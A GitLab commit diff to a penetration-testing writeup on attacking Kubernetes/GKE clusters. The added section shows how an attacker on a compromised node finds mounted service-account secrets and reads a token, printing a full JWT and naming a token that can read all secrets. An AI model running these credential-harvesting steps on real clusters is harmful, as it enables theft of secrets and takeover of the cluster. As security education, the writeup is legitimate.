Commit f90f3339 authored by Frederic Loudet's avatar Frederic Loudet
Browse files

Update escape pod (@abh1sek feedback, thx!)

parent 81c7d1dd
......@@ -13,40 +13,9 @@ This writeup is therefore here to help explore this type of breach, looking at K
We'll start by looking at the main architecture components, specifically those that are interesting for an attacker, then explore what we can do from our initial shell. If you already know about the main K8s (and GKE) components, feel free to skip the "[Architecture Overview](#architecture-overview)" section and go directly to "[Attack Scenario](#attack-scenario)".
# Table of Content
- [Architecture Overview](#architecture-overview)
* [Generic K8s Architecture](#generic-k8s-architecture)
* [GKE Specific K8s Architecture](#gke-specific-k8s-architecture)
* [Authentication](#authentication)
* [Authorization](#authorization)
* [Namespaces](#namespaces)
* [Secrets](#secrets)
* [Networking considerations](#networking-considerations)
- [Attack Scenario](#attack-scenario)
* [Passive Recon](#passive-recon)
* [Starting from a Pod](#starting-from-a-pod)
* [Attack surface](#attack-surface)
* [Information Gathering](#information-gathering)
+ [Using the default service account](#using-the-default-service-account)
+ [Querying non-authenticating endpoints](#querying-non-authenticating-endpoints)
- [Heapster](#heapster)
- [Kubelet (unauth)](#kubelet--unauth-)
- [Metrics](#metrics)
+ [What to look for](#what-to-look-for)
* [Network side: ARP/DNS Spoofing (or not..)](#network-side--arp-dns-spoofing--or-not-)
* [Known Attack 1: Abusing GKE/GCP Metadata](#known-attack-1--abusing-gke-gcp-metadata)
+ [Kube-env](#kube-env)
+ [Underlying GCP service account](#underlying-gcp-service-account)
* [Known Attack 2: Escaping to the underlying Node (GCP Compute Instance)](#known-attack-2--escapting-to-the-underlying-node--gcp-compute-instance-)
* [Tools that automate recon and some of those attacks](#tools-that-automate-recon-and-some-of-those-attacks)
* [Main components to interrogate](#main-components-to-interrogate)
+ [API server](#api-server)
+ [etcd](#etcd)
+ [Kubelet](#kubelet)
* [Config weaknesses to try to abuse](#config-weaknesses-to-try-to-abuse)
+ [Helm Charts/Tiller](#helm-charts-tiller)
* [Cheat Sheet](#cheat-sheet)
# Table of Content
[[_TOC_]]
# Architecture Overview
As an attacker, it is important to know the components involved in a generic K8s environment. It is not really necessary to know how to properly install/scale/manage/deploy a K8s cluster as we just want to be able to attack it and then steal and abuse whatever is available!
......@@ -509,6 +478,51 @@ root@gke-cluster-1-default-pool-81f6e491-qq7g:~#
```
You will feel more "at home" in the toolbox env, which will also have gcloud installed. Much better than in the COS classic shell!
### Inspecting running pods
Being on a Node, you have access to the different pods running on it. The various service accounts credentials linked to the running pods are definitely an interesting target. You can get them just grepping for `secret` in the mounted volumes:
```
gke-cluster-1-default-pool-81f6e491-72z1 / # mount | grep secret
tmpfs on /var/lib/kubelet/pods/42d8a3e0-d7f0-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/kube-dns-autoscaler-token-9vpzv type tmpfs (rw,relatime)
tmpfs on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/42d8a3e0-d7f0-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/kube-dns-autoscaler-token-9vpzv type tmpfs (rw,relatime)
tmpfs on /var/lib/kubelet/pods/42bdfc5a-d7f0-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/kube-dns-token-jsjwp type tmpfs (rw,relatime)
tmpfs on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/42bdfc5a-d7f0-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/kube-dns-token-jsjwp type tmpfs (rw,relatime)
tmpfs on /var/lib/kubelet/pods/a3c0d106-d7f8-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/default-token-ntmx8 type tmpfs (rw,relatime)
tmpfs on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/a3c0d106-d7f8-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/default-token-ntmx8 type tmpfs (rw,relatime)
tmpfs on /var/lib/kubelet/pods/41eeac4d-d7f0-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/default-token-ntmx8 type tmpfs (rw,relatime)
tmpfs on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/41eeac4d-d7f0-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/default-token-ntmx8 type tmpfs (rw,relatime)
tmpfs on /var/lib/kubelet/pods/7aec0da5-e2d2-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/metrics-server-token-7jc8v type tmpfs (rw,relatime)
tmpfs on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/7aec0da5-e2d2-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/metrics-server-token-7jc8v type tmpfs (rw,relatime)
tmpfs on /var/lib/kubelet/pods/8d1f85fc-e2d2-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/metadata-agent-token-nzlxq type tmpfs (rw,relatime)
tmpfs on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/8d1f85fc-e2d2-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/metadata-agent-token-nzlxq type tmpfs (rw,relatime)
tmpfs on /var/lib/kubelet/pods/facbf761-e2f7-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/default-token-ntmx8 type tmpfs (rw,relatime)
tmpfs on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/facbf761-e2f7-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/default-token-ntmx8 type tmpfs (rw,relatime)
```
Getting the content of one of the token:
```
# cat /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/42bdfc5a-d7f0-11ea-bb33-42010a800058/volumes/kubernetes.io~secret/kube-dns-token-jsjwp/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0
Lm5hbWUiOiJrdWJlLWRucy10b2tlbi1qc2p3cCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJrdWJlLWRucyIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjdkMDE5M
jNkLTVmZDQtMTFlYS05NjBkLTQyMDEwYTgwMDFhMSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTprdWJlLWRucyJ9.bqp93sk5prmXOn8lK57lBD8AolYnlxG1Ssdyj79QF4ynHQ-zPdcDNW8n4tyFCDet7MDwjmZegNKyV7QWxOTfZf8EM
[..]
```
You can refer to the table in the [Authorization](#authorization) section, for instance here, the `metadata-agent-token-nzlxq` token from the `metadata-agent` service account has great permissions (it can read all secrets so it's game over)!
The disk content of the containers (when using docker), will be in `/var/lib/docker/<driver-name>` and may give you access to sensitive files. For example, in a generic Gitlab install, some important server-side config files would be found:
```
gke-cluster-1-default-pool-81f6e491-72z1 /var/lib/docker/overlay2/ce525b82df5343b937705ee0d0999b4b594f2b87cf673d709f7e3ee2b9aa3242/diff/srv/gitlab # ls
CHANGELOG-EE.md GITLAB_ELASTICSEARCH_INDEXER_VERSION Guardfile Pipfile app config docker haml_lint plugins shared
CHANGELOG.md GITLAB_PAGES_VERSION INSTALLATION_TYPE Pipfile.lock babel.config.js config.ru docker-compose.yml jest.config.js public symbol
CONTRIBUTING.md GITLAB_SHELL_VERSION LICENSE README.md bin crowdin.yml ee lib qa tmp
Dangerfile GITLAB_WORKHORSE_VERSION MAINTENANCE.md REVISION builds danger file_hooks locale rubocop tooling
Dockerfile.assets Gemfile PHILOSOPHY.md Rakefile cable db fixtures log scripts vendor
GITALY_SERVER_VERSION Gemfile.lock PROCESS.md VERSION changelogs doc generator_templates package.json security.txt yarn.lock
gke-cluster-1-default-pool-81f6e491-72z1 /var/lib/docker/overlay2/ce525b82df5343b937705ee0d0999b4b594f2b87cf673d709f7e3ee2b9aa3242/diff/srv/gitlab #
```
## Tools that automate recon and some of those attacks
- Inguardians has automated some of recon and more task as a go binary: https://github.com/inguardians/peirates
......
Markdown is supported
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment